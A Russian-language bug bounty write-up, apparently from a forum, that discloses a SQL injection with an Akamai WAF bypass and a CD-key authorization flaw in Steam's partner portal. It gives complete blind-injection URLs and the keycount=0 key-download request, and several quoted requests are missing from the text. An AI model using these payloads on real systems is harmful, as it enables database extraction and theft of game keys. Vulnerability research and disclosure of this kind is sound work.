
1. SQL Injection
Сервис partner.steampowered.com предназначен для получения финансовой информации партнеров Steam. На странице отчётов о продажах рисуется график с кнопками, которые меняют период отображения статистики. Вот они в зелёненьком прямоугольнике:

Запрос загрузки статистики выглядит вот так:

где «UA» — это код страны.
Ну что ж, пришло время кавычек!
Давайте пробуем «UA'»:

Статистика НЕ вернулась, чего и следовало ожидать.
Теперь «UA''»:

Статистика снова вернулась и это похоже на инъекцию!
Допустим что инструкция к базе данных выглядит таким образом:
Если отправить UA’, то инструкция к базе данных будет:
Заметили лишнюю кавычку? А это значит, что инструкция невалидна.
Соответсвенно синтаксису SQL — запрос ниже вполне валиден (лишних кавычек нет):
SQL:
SELECT * FROM countries WHERE country_code = `UA`;
SQL:
SELECT * FROM countries WHERE country_code = `UA``;
Соответсвенно синтаксису SQL — запрос ниже вполне валиден (лишних кавычек нет):
SQL:
SELECT * FROM countries WHERE country_code = `UA```;
Обратите внимание, мы имеем дело с массивом countryFilter[]. Я предположил, что если в запросе продублировать параметр countryFilter[] несколько раз, то все значения, которые мы отправим, будут объединены в SQL запросе таким образом:
SQL:
'value1', 'value2', 'value3'

Фактически, мы запросили у БД статистику трёх стран:
SQL:
`UA`, `,` ,`RU`
Обход Web Application Firewall
Сервера Steam прячутся за Akamai WAF. Данное безобразие вставляет палки в колёса хорошим (и не очень) хакерам. Однако, мне удалось одолеть его благодаря объединению значений массива в один запрос (то что я объяснил выше) и комментированию. Для начала убедимся в наличии последнего:
Код:
?countryFilter[]=UA`/*&countryFilter[]=*/,`RU
WAF блокирует запрос, когда встречает в нём функцию. Вы знали, что DB_NAME/**/() — вполне валидный вызов функции? Файрвол тоже знает и блокирует. Но, благодаря этой фиче, мы можем разделить вызов функции на два параметра!У нас было несколько вариантов синтаксиса, локальные базы для тестирования пэйлоадов, символы комментариев и бесконечное множество кавычек всех кодировок, а также самописные скрипты на пайтоне, документация по всем базам данных, инструкции по обходу файрволов, википедия и античат. Не то чтобы это был необходимый запас для раскрутки инъекции, но раз уж начал ломать базу данных, то сложно остановиться...
Код:
?countryFilter[]=UA’,DB_NAME/*&countryFilter[]=*/(),’RU
Получение значений из базы данных
Итак, пример получения длины значения DB_NAME():
Код:
https://partner.steampowered.com/report_xml.php?query=QuerySteamHistory&countryFilter[]=',(SELECT/*&countryFilter[]=*/CASE/**/WHEN/*&countryFilter[]=*/(len(DB_NAME/*&countryFilter[]=*/())/*&countryFilter[]=*/=1)/**/THEN/**/'UA'/**/ELSE/*&countryFilter[]=*/'qwerty'/**/END),'
SQL:
SELECT CASE WHEN (len(DB_NAME())= 1) THEN 'UA' ELSE 'qwerty' END
Код:
Если длина DB_NAME() равна "1", то результат “UA”, иначе результат “qwerty”.
Таким же способом можно перебирать текстовые значения:
Код:
Если первый символ DB_NAME() равен “a”, то "UA", иначе "qwerty".
Код:
right(left(system_user,N),1)
Представим, что system_user = “steam”. Вот так будет выглядеть получение третьего символа:
Код:
left(system_user,3) = ste
right(“ste”,1) = e
Через 5 часов уязвимость была исправленна, однако статус triaged (принята) ей выставили через 8 часов и, чёрт возьми, для меня это были очень сложные 3 часа за которые мой мозг успел пережить стадии от отрицания до принятия.
2. Получение всех ключей от любой игры
В интерфейсе партнера Steam существует функциональность генерации ключей к играм.
Скачать сгенерированный набор ключей можно с помощью запроса:
Код:
https://partner.steamgames.com/partnercdkeys/assignkeys/
&sessionid=xxxxxxxxxxxxx&keyid=123456&sourceAccount=xxxxxxxxx&appid=xxxxxx&keycount=1&generateButton=Download
Конечно же, руки мгновенно потянулись вбивать разные keyid, но в ответ меня ждала ошибка: «Couldn`t generate CD keys: No assignment for user.». Оказалось, не всё так просто, и Steam проверял принадлежит ли мне запрошенный набор ключей. Как же я обошёл данную проверку? Внимание…
Код:
keycount=0
Только в одном наборе оказалось такое количество ключей. А всего наборов на данный момент более 430,000. Таким образом, перебирая значения keyid
Выводы
- Дорогостоящие WAF системы от топовых компаний далеко не гарантия безопасности ваших веб-приложений.
- Если вы охотник за багами, то старайтесь проникнуть как можно глубже. Чем меньше пользователей имеют доступ к интерфейсу, тем больше вероятности найти в этом интерфейсе уязвимость.
- Разработчики и владельцы бизнеса, абсолютно безопасных приложений нет! Но вы держитесь. Хорошего вам настроения!